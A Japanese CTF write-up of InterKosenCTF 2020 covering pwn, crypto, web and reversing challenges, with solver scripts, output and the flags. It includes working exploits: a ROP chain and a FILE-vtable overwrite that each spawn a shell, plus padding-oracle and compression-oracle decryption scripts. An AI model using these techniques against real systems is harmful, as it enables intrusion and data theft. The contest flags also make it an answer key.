LoginSignup
0
0

More than 3 years have passed since last update.

InterKosenCTF 2020 write-up

Last updated at Posted at 2020-09-06

問題が面白い。

superflipは、18/25問解いて、4499点、10位。

image.png

image.png

正解チームの多い順にソートされた表示されていたので、この順番で。

Welcome (welcome)

Discord。

KosenCTF{w31c0m3_and_13ts_3nj0y_the_party!!}

babysort (pwn、warmup)

main.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

typedef int (*SORTFUNC)(const void*, const void*);

typedef struct {
  long elm[5];
  SORTFUNC cmp[2];
} SortExperiment;

/* call me! */
void win(void) {
  char *args[] = {"/bin/sh", NULL};
  execve(args[0], args, NULL);
}

int cmp_asc(const void *a, const void *b) { return *(long*)a - *(long*)b; }
int cmp_dsc(const void *a, const void *b) { return *(long*)b - *(long*)a; }

int main(void) {
  SortExperiment se = {.cmp = {cmp_asc, cmp_dsc}};
  int i;

  /* input numbers */
  puts("-*-*- Sort Experiment -*-*-");
  for(i = 0; i < 5; i++) {
    printf("elm[%d] = ", i);
    if (scanf("%ld", &se.elm[i]) != 1) exit(1);
  }

  /* sort */
  printf("[0] Ascending / [1] Descending: ");
  if (scanf("%d", &i) != 1) exit(1);
  qsort(se.elm, 5, sizeof(long), se.cmp[i]);

  /* output result */
  puts("Result:");
  for(i = 0; i < 5; i++) {
    printf("elm[%d] = %ld\n", i, se.elm[i]);
  }
  return 0;
}

__attribute__((constructor))
void setup(void) {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  alarm(300);
}

ソート関数の添え字をチェックしていないのが脆弱性。winのアドレス0x400787を10進数に直すと4196231

$ nc pwn.kosenctf.com 9001
-*-*- Sort Experiment -*-*-
elm[0] = 0
elm[1] = 0
elm[2] = 0
elm[3] = 0
elm[4] = 4196231
[0] Ascending / [1] Descending: -1
cat flag-165fa1768a33599b04fbb4f7a05d0d26.txt
KosenCTF{f4k3_p01nt3r_l34ds_u_2_w1n}

Survey

アンケートに答えるとフラグ。「いつ解いても最終的な順位は変わらないから焦らなくて良いぞ」という感じの丁寧な注意書きが書かれていた。

KosenCTF{w4s_th1s_ch4ll3ng3_h4rd_4_u?}

matsushima2 (web, warmup)

ブラックジャック。勝てばチップが倍、負ければ0、999,999以上でクリア。

状態がcookieに保存されているが、署名付きなので改竄はできない。でも、cookieを保存しておいて負けたら元に戻すということはできる。手作業で解けるかと思ったけど、SPAでAPIを叩く感じだからフロント側にも状態があって面倒だった。スクリプトでcookieを扱うのも何かと面倒なんだよな……。

solve.py
import requests

host = "http://web.kosenctf.com:14001"

s = requests.Session()
c = None

while True:
  if c is None:
    s.post(host+"/initialize")
  else:
    s.cookies.set("matsushima", c, domain="web.kosenctf.com")
    s.post(host+"/nextgame")
  while True:
    r = s.post(host+"/hit")
    score = r.json()["player_score"]
    if score>=18 or score==-1:
      break
  if score==-1:
    continue
  r = s.post(host+"/stand")
  chip = r.json()["chip"]
  print("chip:", chip)
  if chip==0:
    continue
  if chip>=999999:
    break
  c = s.cookies["matsushima"]

r = s.get(host+"/flag")
print(r.json()["flag"])
$ python3 solve.py
chip: 200
chip: 0
chip: 400
chip: 800
chip: 0
chip: 1600
chip: 3200
chip: 0
chip: 0
chip: 6400
chip: 12800
chip: 0
chip: 25600
chip: 51200
chip: 102400
chip: 204800
chip: 0
chip: 409600
chip: 0
chip: 819200
chip: 0
chip: 1638400
KosenCTF{r3m3mb3r_m475u5him4}

KosenCTF{r3m3mb3r_m475u5him4}

limited (web, forensics)

この問題があるから、ジャンルごとに問題をまとめることができなかった。Blind SQL Injectionしているpcapファイルから、盗まれた情報を復元しろという問題。たしかに、Web+Forensics。

特定したい文字を適当な素数で割った余りを検索結果の最大値に指定するということをしている。通常の二分探索ならば、各文字の最後のほうだけを見れば良いけど、そういうわけにはいかない。pcapファイルを扱うスクリプト書くのは面倒そうだな…… → :bulb: WiresharkでHTTPでやりとりしているファイルを全部ダンプして、ファイルとして扱おう

solve.py
import os
import re

res = [{} for i in range(51)]

for f in os.listdir("dump"):
  if "SELECT" in f:
    m = re.search(r"secret%2C\+(\d+).*\+(\d+)$", f)
    idx = int(m.group(1))
    mod = int(m.group(2))
    a = 0
    for l in open(os.path.join("dump", f)):
      m = re.search(r"id=(\d+)", l)
      if m:
        a = max(a, int(m.group(1)))
    res[idx][mod] = a

flag = ""
for i in range(1, 51):
  for c in range(0x20, 0x7f):
    ok = True
    for k in res[i]:
      if c%k!=res[i][k]:
        ok = False
    if ok:
      flag += chr(c)
print(flag)

各文字は256通りしかないのだから、中国剰余定理は要らんな。

KosenCTF{u_c4n_us3_CRT_f0r_LIMIT_1nj3ct10n_p01nt}

harmagedon (reversing)

$ ./harmagedon
which is your choice? [fRD3]f
which is your choice? [H26S]2
which is your choice? [b-z-]-
which is your choice? [JDof]o
which is your choice? [4JZ-]-
which is your choice? [rNDt]r
which is your choice? [SEKF]S
which is your choice? [q9Is]q
which is your choice? [SiZa]i
which is your choice? [nuvY]n
which is your choice? [3}jg]}
try harder.
$ ./harmagedon
which is your choice? [fRD3]R
which is your choice? [Ymug]

こんな感じ。4択に全部正解すれば良さそう。前の問題の答えによって後の問題も変わる。

4択が11問で約400万通り。そのくらいならひたすら試せば良いかと思ったけど、コンテスト終了までに終わるか微妙なくらいだったので、ちゃんと解析。

solve.py
from itertools import *

target = 0xb77c7c
for A in product(range(4), repeat=11):
  x = 0
  for a in A:
    x = (x+a+1)*4
  if x==target:
    print(A)
    break
$ python3 solve.py
(1, 2, 0, 2, 0, 2, 1, 3, 0, 2, 2)
$ ./harmagedon
which is your choice? [fRD3]R
which is your choice? [Ymug]u
which is your choice? [kcJQ]k
which is your choice? [yhtP]t
which is your choice? [uDPJ]u
which is your choice? [05n7]n
which is your choice? [V0Np]0
which is your choice? [8GFr]r
which is your choice? [Dar3]D
which is your choice? [UDi8]i
which is your choice? [KS3c]3
congratz. your choices are the flag

KosenCTF{Ruktun0rDi3}

in question (warmup, reversing)

$ ./chall
-bash: ./chall: cannot execute binary file: Exec format error
$ file chall
chall: ELF 64-bit MSB *unknown arch 0x3e00* (SYSV)

unknown arch。Ghidraで開くと、「アーキテクチャ何?」と訊いてくる。ファイル中にGCC: (Ubuntu 7.4.0-1ubuntu1~18.04.1) 7.4.0という文字列がある。Ubuntuが対応しているアーキテクチャはそんなに多くないから適当に試そう → 全部ダメ。readelfで見ても、ヘッダがだいぶグチャグチャなような……。

本当はリトルエンディアンなのにビッグエンディアンと書き換えられていた。なるほど。5バイト目の0102に変えればx64で普通に動いた。

シンボル名が全部????...に書き換えられていて読みづらい。でも、たいした問題では無い。

solve.py
X = [
  0xdb, 0xe2, 0xeb, 0xf7, 0xd6, 0xed, 0xeb, 0xc5,
  0xe8, 0xa2, 0xab, 0xee, 0xd8, 0xc1, 0xae, 0xb7,
  0xc4, 0xc5, 0xf1, 0xb0, 0xab, 0xc1, 0xd0, 0xbe,
  0xe7, 0xba, 0xd6, 0xce, 0xeb, 0x9f
]

flag = "K"
for i in range(len(X)):
  flag += chr(ord(flag[-1])^X[i]^i^0xff)
print(flag)

KosenCTF{d0nt_l3t_th4t_f00l_u}

ciphertexts (crypto, warmup)

p, q, rを素数として、n1=p*qn2=(p*q)*rでRSA暗号。eは、

e1 = getPrime(20)
e2 = int(gmpy2.next_prime(e1))

e2n2で暗号化した結果をn1で割ると、e2n1で暗号化した値となる。同一の平文、同一のnで、eを変えた結果を渡してはいけない。

なぜかというと、e1e2が互いに素ならば、拡張ユークリッドの互除法で、e1*x+e2*y=1となる値が得られる。これを利用すると、平文が求められる。

$c_1^xc_2^y = m^{e_1x}m^{e_2y} = m^{e_1x+e_2y} = m^1 = m$

solve.py
n1 = 112027309284322736696115076630869358886830492611271994068413296220031576824816689091198353617581184917157891542298780983841631012944437383240190256425846911754031739579394796766027697768621362079507428010157604918397365947923851153697186775709920404789709337797321337456802732146832010787682176518192133746223
n2 = 1473529742325407185540416487537612465189869383161838138383863033575293817135218553055973325857269118219041602971813973919025686562460789946104526983373925508272707933534592189732683735440805478222783605568274241084963090744480360993656587771778757461612919160894779254758334452854066521288673310419198851991819627662981573667076225459404009857983025927477176966111790347594575351184875653395185719233949213450894170078845932168528522589013379762955294754168074749
e1 = 745699
e2 = 745709

c1 = 23144512980313393199971544624329972186721085732480740903664101556117858633662296801717263237129746648060819811930636439097159566583505473503864453388951643914137969553861677535238877960113785606971825385842502989341317320369632728661117044930921328060672528860828028757389655254527181940980759142590884230818
c2 = 546013011162734662559915184213713993843903501723233626580722400821009012692777901667117697074744918447814864397339744069644165515483680946835825703647523401795417620543127115324648561766122111899196061720746026651004752859257192521244112089034703744265008136670806656381726132870556901919053331051306216646512080226785745719900361548565919274291246327457874683359783654084480603820243148644175296922326518199664119806889995281514238365234514624096689374009704546

from Crypto.Util.number import *

# x,y,d = exgcd(m, n)
# x*m+y*n = d = gcd(m, n)
def exgcd(m, n):
  if n>0:
    y,x,d = exgcd(n, m%n)
    return x, y-m//n*x, d
  else:
    return 1, 0, m

def mypow(x, y, n):
  if y>0:
    return pow(x, y, n)
  else:
    return pow(inverse(x, n), -y, n)

x,y,d = exgcd(e1, e2)
m = mypow(c1,x,n1)*mypow(c2,y,n1)%n1
print(long_to_bytes(m))

KosenCTF{HALDYN_D0M3}

trilemma (reversing)

main.c
/**
   $ gcc main.c -L./ -lemperor -lcitizen -lslave
   $ LD_LIBRARY_PATH=./ ./a.out
 */
#include <stdio.h>

char *emperor_flag(void);
char *citizen_flag(void);
char *slave_flag(void);

int main(void) {
  printf("The flag is %s%s%s\n", emperor_flag(), citizen_flag(), slave_flag());
  return 0;
}

各モジュールは、自分より強いやつがロードされていたり、自分より弱いやつがロードされていなかったりすると、強制終了する。これは、チェックを潰せば良い。あと、同じアドレスをmmapで確保しようとしてコケる。ぶつかっているやつの一方を書き換えて動かしたらフラグの一部が壊れた。他方を書き換えたらちゃんと動いた。

$ LD_LIBRARY_PATH=./ ./a.out
The flag is KosenCTF{emperor_wins_with_a_probability_of_four-fifths}

KosenCTF{emperor_wins_with_a_probability_of_four-fifths}

authme (pwn)

解けなかった。

main.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int auth = 1;
char username[0x20];
char password[0x20];

void init(void) {
  FILE *fp;

  /* read secret username */
  if ((fp = fopen("./username", "r")) == NULL) {
    puts("[-] Please report this bug to the admin");
    exit(1);
  }
  fread(username, sizeof(char), 0x20, fp);
  fclose(fp);

  /* read secret password */
  if ((fp = fopen("./password", "r")) == NULL) {
    puts("[-] Please report this bug to the admin");
    exit(1);
  }
  fread(password, sizeof(char), 0x20, fp);
  fclose(fp);
}

int main() {
  char buf[0x20];

  init();

  puts("                _   _     __  __ ______ ");
  puts("     /\\        | | | |   |  \\/  |  ____|");
  puts("    /  \\  _   _| |_| |__ | \\  / | |__   ");
  puts("   / /\\ \\| | | | __| '_ \\| |\\/| |  __|  ");
  puts("  / ____ \\ |_| | |_| | | | |  | | |____ ");
  puts(" /_/    \\_\\__,_|\\__|_| |_|_|  |_|______|\n");

  printf("Username: ");
  if (fgets(buf, 0x40, stdin) == NULL) return 1;
  if (strcmp(buf, username) != 0) auth = 0;

  printf("Password: ");
  if (fgets(buf, 0x40, stdin) == NULL) return 1;
  if (strcmp(buf, password) != 0) auth = 0;

  if (auth == 1) {
    puts("[+] OK!");
    system("/bin/sh");
    exit(0);
  } else {
    puts("[-] NG!");
    exit(1);
  }
}

__attribute__((constructor))
void setup(void) {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  alarm(60);
}

スタックバッファオーバフローでリターンアドレスを書き換えて、if (auth == 1)の中に飛ばせば良いだけ? と思ったら、そのあたりはアドレスに\nが含まれていた。まあ、これは何とかなるだろうけど、exit(0)で終了していて、mainから返らない。

手元で動かしているなら、Ctrl+Dで標準入力を切れば良いけど、TCPでそんなの無理だよな……。

できました。なるほど。

solve.py
from pwn import *

context.binary = "chall"
s = remote("pwn.kosenctf.com", 9002)
#s = remote("localhost", 7777)
s.sendafter("Username: ",
  b"a"*0x28 + 
  pack(0x400b03) + # pop rdi
  pack(0x6020c0) + # username
  #pack(0x6020e0) + # password
  pack(0x4006a0)[:-1])  # puts
s.shutdown("send")
print(s.recvall())
$ python3 solve.py
 :
[+] Opening connection to pwn.kosenctf.com on port 9002: Done
[+] Receiving all data: Done (117B)
[*] Closed connection to pwn.kosenctf.com port 9002
b'Password: UnderUltimateUtterUranium\n\n/home/pwn/redir.sh: line 2: 16074 Segmentation fault      (core dumped) ./chall\n'
$ python3 solve.py
 :
[+] Opening connection to pwn.kosenctf.com on port 9002: Done
[+] Receiving all data: Done (115B)
[*] Closed connection to pwn.kosenctf.com port 9002
b'Password: PonPonPainPanicParadigm\n\n/home/pwn/redir.sh: line 2: 16076 Segmentation fault      (core dumped) ./chall\n'
$ nc pwn.kosenctf.com 9002
                _   _     __  __ ______
     /\        | | | |   |  \/  |  ____|
    /  \  _   _| |_| |__ | \  / | |__
   / /\ \| | | | __| '_ \| |\/| |  __|
  / ____ \ |_| | |_| | | | |  | | |____
 /_/    \_\__,_|\__|_| |_|_|  |_|______|

Username: UnderUltimateUtterUranium
Password: PonPonPainPanicParadigm
[+] OK!
ls -al
total 40
drwxr-xr-x 1 root pwn   4096 Sep  3 15:14 .
drwxr-xr-x 1 root root  4096 Sep  3 15:14 ..
-r-xr-x--- 1 root pwn  13080 Sep  3 14:49 chall
-r--r----- 1 root pwn     44 Sep  3 14:49 flag-e3d46130aca8d8c52a435cb778622e3d.txt
-r--r----- 1 root pwn     24 Sep  3 14:49 password
-r-xr-x--- 1 root pwn     37 Sep  3 14:49 redir.sh
-r--r----- 1 root pwn     26 Sep  3 14:49 username
cat flag-e3d46130aca8d8c52a435cb778622e3d.txt
KosenCTF{cl0s3_ur_3y3_4nd_g0_w1th_th3_fl0w}

Google CTFでもこんな問題が出ていたらしい。ちゃんと復習しておけば良かった……。

追記: 「TCPでそんなの無理」じゃないんだな。

KosenCTF{cl0s3_ur_3y3_4nd_g0_w1th_th3_fl0w}

bitcrypto (crypto)

問題のソースコードを見ると、legendre_symbolという難しそうな名前の関数名が出てきて、面食らう。

平方剰余の相互法則 - Wikipedia

剰余環の上で平方根が存在するかどうからしい。ソースコードを読むと、入力の各ビットごとに、0ならば乱数の2乗、1ならば平方根が存在しない数zと乱数の2乗の積に暗号化している。平方根が存在するかどうかで復号できる。ソースコードではnzpubkeyn=p*qとなるpqprivkeyと名前が付いている。pubkeyすらこっちには渡してくれないのだが……。まあ、だから暗号化も復号もできないでしょ?という主張か。

最初にこちらが渡した文字列を暗号化して返し、次に別途こちらが渡した暗号文を復号して特定の文字列になればクリア。

各ビット独立なのだから、最初に暗号化させた結果うち、元が0のものと1のものを組み合わせれば良いよね → invalid!。同じ数字を複数使えないという制約があった。「2乗した数を掛けても結果は変わらないんじゃね?」で通った。

solve.py
from pwn import *
from Crypto.Util.number import *

s = remote("crypto.kosenctf.com", 13003)

s.sendlineafter("your query: ", "1")
s.recvuntil("token to order yoshiking: ")
A = eval(s.recvline())

keyword = "yoshiking, give me ur flag"
bits = [int(b) for b in "{:b}".format(bytes_to_long(keyword.encode()))]

B = []
c = 1
for b in bits:
  if b==0:
    B += [A[-2]*c**2]
  else:
    B += [A[-1]*c**2]
  c += 1
s.sendlineafter("your token: ", str(B))
print(s.recvall().decode())
$ python3 solve.py
[+] Opening connection to crypto.kosenctf.com on port 13003: Done
[+] Receiving all data: Done (104B)
[*] Closed connection to crypto.kosenctf.com port 13003
yoshiking: hi!!!! flag!!!! here!!! wowowowowo~~~~~~
KosenCTF{yoshiking_is_clever_and_wild_god_of_crypt}

KosenCTF{yoshiking_is_clever_and_wild_god_of_crypt}

padding oracle (crypto)

As you know, AES-CBC is vulnerable to the oracle attack by padding. Today I resolved the security issue.

何をやっているのかと思ったら、PKCS#7で元のデータの末尾に01とか02 02とか05 05 05 05 05とかを先頭に付けていた。

まあ、やることは変わらない。暗号利用モードの図を見ながら考える。文字数×256/2くらいの試行回数が必要なのに、5分で強制切断され、IVどころか暗号鍵も変わるのがやっかい。コードを書いていて混乱したけど、Pには前の暗号ブロックとのxorなどではなく、元の平文を入れるようにしたら、すっきりした。1文字ごとにこちらから接続を切って繋ぎ直している。

solve.py
from pwn import *
from binascii import hexlify, unhexlify

P = [0]*112
for i in range(112):
  s = remote("padding-oracle.kosenctf.com", 13004)
  #s = process(["python3", "server.py"])
  C = s.recvline()[:-1]
  C = list(unhexlify(C))

  IV = [0]*16
  b = i//16*16
  for j in range(i%16):
    IV[j] = P[b+j]^(i%16+1)^C[b+j]
  for p in range(256):
    IV[i%16] = p^(i%16+1)^C[i]
    s.sendline("".join("%02x"%c for c in IV+C[b+16:b+32]))
    if s.recvline()[:-1]==b"True":
      P[i] = p
      break
  else:
    print("error")
    break
  s.close()
  print(P)
print("".join(map(chr, P)))
$ python3 solve.py
[+] Opening connection to padding-oracle.kosenctf.com on port 13004: Done
[*] Closed connection to padding-oracle.kosenctf.com port 13004
[3, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
 :
[+] Opening connection to padding-oracle.kosenctf.com on port 13004: Done
[*] Closed connection to padding-oracle.kosenctf.com port 13004
[3, 3, 3, 84, 117, 114, 107, 101, 121, 32, 105, 110, 32, 100, 101, 32, 115, 116, 114, 97, 119, 44, 32, 116, 117, 114, 107, 101, 121, 32, 105, 110, 32, 100, 101, 32, 104, 97, 121, 32, 75, 111, 115, 101, 110, 67, 84, 70, 123, 48, 114, 52, 99, 49, 51, 95, 53, 117, 114, 118, 105, 118, 51, 53, 95, 53, 55, 105, 49, 49, 95, 110, 48, 119, 125, 32, 84, 117, 114, 107, 101, 121, 32, 105, 110, 32, 100, 101, 32, 115, 116, 114, 97, 119, 44, 32, 116, 117, 114, 107, 101, 121, 32, 105, 110, 32, 100, 101, 32, 104, 97, 0]
[+] Opening connection to padding-oracle.kosenctf.com on port 13004: Done
[*] Closed connection to padding-oracle.kosenctf.com port 13004
[3, 3, 3, 84, 117, 114, 107, 101, 121, 32, 105, 110, 32, 100, 101, 32, 115, 116, 114, 97, 119, 44, 32, 116, 117, 114, 107, 101, 121, 32, 105, 110, 32, 100, 101, 32, 104, 97, 121, 32, 75, 111, 115, 101, 110, 67, 84, 70, 123, 48, 114, 52, 99, 49, 51, 95, 53, 117, 114, 118, 105, 118, 51, 53, 95, 53, 55, 105, 49, 49, 95, 110, 48, 119, 125, 32, 84, 117, 114, 107, 101, 121, 32, 105, 110, 32, 100, 101, 32, 115, 116, 114, 97, 119, 44, 32, 116, 117, 114, 107, 101, 121, 32, 105, 110, 32, 100, 101, 32, 104, 97, 121]
\x03\x03urkey in de straw, turkey in de hay KosenCTF{0r4c13_5urviv35_57i11_n0w} Turkey in de straw, turkey in de hay

KosenCTF{0r4c13_5urviv35_57i11_n0w}

Fables of aeSOP (pwn)

勉強しておいて良かったfile stream oriented programming。こんな感じのプログラム。

char buf[0x200];
FILE *f;

void win()
{
    system("/bin/sh");
}

void vuln()
{
    printf("<win> = %p\n", win);
    gets(buf);
    puts(buf);
}

int main()
{
    f = fopen("banner.txt", "r");
    fread(...);
    puts(...);
    vuln();
    fclose(f);
}

バッファオーバーフローでファイルポインタを書き換えた状態でfcloseを呼び出せる。winのアドレスが分かるということは、bufのアドレスも分かる。ファイルポインタをこちらで用意するFILE構造体を指すように書き換える。FILE構造体はvtableがこちらの用意したテーブルを指すようにする。ファイルを閉じるときに呼ばれる__finishwinにしておけば良い。ファイルをロックしようとして落ちていたので、_flags_IO_USER_LOCKビットを立てたら通った。

solve.py
from pwn import *

context.binary = "chall"

s = remote("pwn.kosenctf.com", 9003)
#s = remote("localhost", 7777)
s.recvuntil("<win> = 0x")
win = int(s.recvline()[:-1], 16)

print("win:", hex(win))

s.sendline(
  # 202060
  b"a"*0x200 +
  # 202260
  pack(win-0xa5a+0x202268) +
  # 202268
  pack(0x8000) + # _flags
  b"\0"*0xd0 +
  pack(win-0xa5a+0x202348) + # vtable
  # 202348
  pack(0)*2 +
  pack(win)) # __finish

s.interactive()
$ python3 attack.py
[*] '/mnt/d/documents/ctf/InterKosenCTF2020/Fables of aeSOP/chall'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to pwn.kosenctf.com on port 9003: Done
win: 0x55fd42613a5a
[*] Switching to interactive mode
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaahR\x81B\
Congratulations!
$ cat flag.txt
KosenCTF{FS0P_1s_s1mpl3_4nd_fun!}

KosenCTF{FS0P_1s_s1mpl3_4nd_fun!}

No pressure (misc, warmup)

chall.py
from Crypto.Cipher import ARC4
from hashlib import sha256
from base64 import b64encode
import zlib
import os

flag = open("./flag.txt", "rb").read()

nonce = os.urandom(32)
while True:
    m = input("message: ")
    arc4 = ARC4.new(sha256(nonce + m.encode()).digest())
    c = arc4.encrypt(zlib.compress(flag + m.encode()))
    print("encrypted! :", b64encode(c).decode())

warmupジャンル最難関。時間は掛かるけど、そんなに難しくないと思うのだが……。ARC4の鍵にこちらの入力が含まれるあたりが引っ掛かるか。それを無視すると、flagと入力を連結して圧縮して暗号化している。フラグと入力の共通部分が多ければ縮むし、少なければ縮まないので、1文字ずつ探索できる。

solve.py
from pwn import *

f = "KosenCTF{"

while True:
  m = 9999
  for c in range(0x20, 0x7f):
    c = chr(c)
    s = remote("misc.kosenctf.com", 10002)
    s.sendlineafter("message: ", f+c)
    d = s.readline()
    s.close()
    print(f+c, len(d))
    if len(d)<m:
      m = len(d)
      mf = f+c
  f = mf
  if f[-1]=="}":
    break
print(f)
$ python3 solve.py
 :
KosenCTF{DEFLATE_is_an_algorithm_that_combines_LZ77_and_Huffman_coding| 126
[+] Opening connection to misc.kosenctf.com on port 10002: Done
[*] Closed connection to misc.kosenctf.com port 10002
KosenCTF{DEFLATE_is_an_algorithm_that_combines_LZ77_and_Huffman_coding} 122
[+] Opening connection to misc.kosenctf.com on port 10002: Done
[*] Closed connection to misc.kosenctf.com port 10002
KosenCTF{DEFLATE_is_an_algorithm_that_combines_LZ77_and_Huffman_coding~ 126
KosenCTF{DEFLATE_is_an_algorithm_that_combines_LZ77_and_Huffman_coding}

KosenCTF{DEFLATE_is_an_algorithm_that_combines_LZ77_and_Huffman_coding}

stratum (reversing, lunatic)

SIMDを使ってアセンブラで書かれている。自己書き換えコードだけど、これは後述の0x10バイトで区切ったデータの何文字目を取り出すかを書き換えているだけなので、特に問題は無い。

0x40バイトの入力を0x10バイトごとに区切り、プログラム中に用意されている文字列を入力を元にpshufbで並び替え。pshufbは下位4ビットを見るので、下位4ビットは簡単に復元できる。

上位4ビットが、popcntした値とlznctした値を入力の0x10バイト後の値とxorしていて、どうするんだという感じ。この計算では%0x10が異なれば依存は無い。入力が0x40バイトなので、互いに依存しているのは4文字。上位4ビットを特定すれば良く、16ビット分だから力ずくで全探索した。印字可能文字の範囲に絞ったら、最後の改行とNUL文字のところでおかしくなった。

solve.py
from pwn import *
from itertools import *

context.log_level = "error"

enc = open("flag.enc", "rb").read()

flag_l = [0]*0x40
for i in range(0x40):
  flag_l[i] = "asdfghjklzxcvbnm".index(chr(enc[i//16*32+i%16]))

flag = [0]*0x40
for i in range(16):
  for C in product(range(8), repeat=4):
    for j in range(4):
      flag[j*0x10+i] = C[j]<<4 | flag_l[j*0x10+i]
    s = process("./chall")
    s.send("".join(map(chr, flag)))
    r = s.recvall()
    s.close()
    ok = True
    for j in range(8):
      if r[j*0x10+i]!=enc[j*0x10+i]:
        ok = False
    if ok:
      break
  print("".join(map(chr, flag)))
$ python3 solve.py
K\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
Ko\x00\x00\x00\x00\x00\x00\x00n_\x00\x00\x00\x00\x00\x00\x00bu\x00\x00\x00\x00\x00\x00\x001n\x00\x00\x00\x00\x00\x00\x00
Kos\x00\x00\x00\x00\x00\x00\x00_w\x00\x00\x00\x00\x00\x00\x00u7\x00\x00\x00\x00\x00\x00\x00n5\x00\x00\x00\x00\x00\x00\x00
Kose\x00\x00\x00\x00\x00\x00n_w1\x00\x00\x00\x00\x00\x00bu7_\x00\x00\x00\x00\x00\x001n57\x00\x00\x00\x00\x00\x00
Kosen\x00\x00\x00\x00\x00\x00_w17\x00\x00\x00\x00\x00\x00u7_u\x00\x00\x00\x00\x00\x00n57r\x00\x00\x00\x00\x00\x00
KosenC\x00\x00\x00\x00\x00n_w17h\x00\x00\x00\x00\x00bu7_u5\x00\x00\x00\x00\x001n57ru\x00\x00\x00\x00\x00
KosenCT\x00\x00\x00\x00\x00_w17h_\x00\x00\x00\x00\x00u7_u53\x00\x00\x00\x00\x00n57ruc\x00\x00\x00\x00\x00
KosenCTF\x00\x00\x00\x00n_w17h_7\x00\x00\x00\x00bu7_u53f\x00\x00\x00\x001n57ruc7\x00\x00\x00\x00
KosenCTF{\x00\x00\x00\x00_w17h_7h\x00\x00\x00\x00u7_u53fu\x00\x00\x00\x00n57ruc71\x00\x00\x00\x00
KosenCTF{h\x00\x00\x00n_w17h_7h3\x00\x00\x00bu7_u53ful\x00\x00\x001n57ruc710\x00\x00\x00
KosenCTF{h4\x00\x00\x00_w17h_7h3_\x00\x00\x00u7_u53ful_\x00\x00\x00n57ruc710n\x00\x00\x00
KosenCTF{h4v\x00\x00n_w17h_7h3_u\x00\x00bu7_u53ful_S\x00\x001n57ruc710n5\x00\x00
KosenCTF{h4v3\x00\x00_w17h_7h3_ug\x00\x00u7_u53ful_SI\x00\x00n57ruc710n5}\x00\x00
KosenCTF{h4v3_\x00n_w17h_7h3_ugl\x00bu7_u53ful_SIM\x001n57ruc710n5}
\x00
KosenCTF{h4v3_f\x00_w17h_7h3_ugly\x00u7_u53ful_SIMD\x00n57ruc710n5}
\x00
KosenCTF{h4v3_fun_w17h_7h3_ugly_bu7_u53ful_SIMD_1n57ruc710n5}
\x00

KosenCTF{h4v3_fun_w17h_7h3_ugly_bu7_u53ful_SIMD_1n57ruc710n5}

Tip Toe (cheat, misc)

image.png

Fall Guysだ。

ちゃんと物理演算があるからか、繋ぎ目あたりを全力疾走すると、パネルが落ちるときにちょっと跳ねたりして、ゴールできるときがある。

image.png

でも、遅すぎと言われてダメ。ちゃんとチートします。

引数にdebugを付けると、デバッグモードになる。これは特に役に立っていない。

image.png

HSP製だった。

で逆コンパイル。警告は出るが、一応読める形にはなる。

start.hsp
 :
#deffunc __init modinit modflag, str prm_3, str prm_4, str prm_5
    var_0 = ginfo(16)
    var_1 = ginfo(17)
    var_2 = ginfo(18)
    sdim var_3, 4
    sdim var_4, 1
    sdim var_5, 4
    // /*09 20 004E*/ 6384761
    var_6 = ginfo(17)
    var_2 = ginfo(18)
    lpoke var_3, 0, ginfo(18) * 16777216 + ginfo(16) * 65536 + ginfo(17) * 256 + 112
    poke var_4, 0, ginfo(16)
    // /*09 20 004E*/ 6775149
    lpoke var_5, 0, 1694498816 + ginfo(18) * 65536 + ginfo(17) * 256 + ginfo(16)
    // /*09 20 004E*/ 4412486
    var_7 = ginfo(16)
    var_8 = ginfo(17)
    var_9 = ginfo(18)
    color var_0, var_1, var_2
    mes strf("KosenCTF{%s_%s_%s_%s_%s_%s_%c%c%c}", prm_3, var_3, var_4, var_5, prm_4, prm_5, var_7, var_8, var_9)
    // /*09 20 004E*/ 14593470
    return
 :
        if ( var_25 == 2 ) {
            pos ginfo(26) / 2 - 240, ginfo(27) / 2 - 45
            gmode 2
            gcopy 5, 0, 0, 480, 90
            pos ginfo(26) / 2 - 160, ginfo(27) / 2 + 60
            color 80, 240, 80
            if ( var_26 < 100 ) {
                newmod var_31, modflag, "Let's", "other", "than"
                delmod var_31
            }
            else {
                mes "Tips: Finish more quickly to get the flag!"
            }
        }

フラグの元になっているginfo(16)ginfo(17)ginfo(18)は色の取得らしい。

ginfo関数 (各種ウィンドウ全般情報の取得) HSP3入門講座 - Let's HSP!

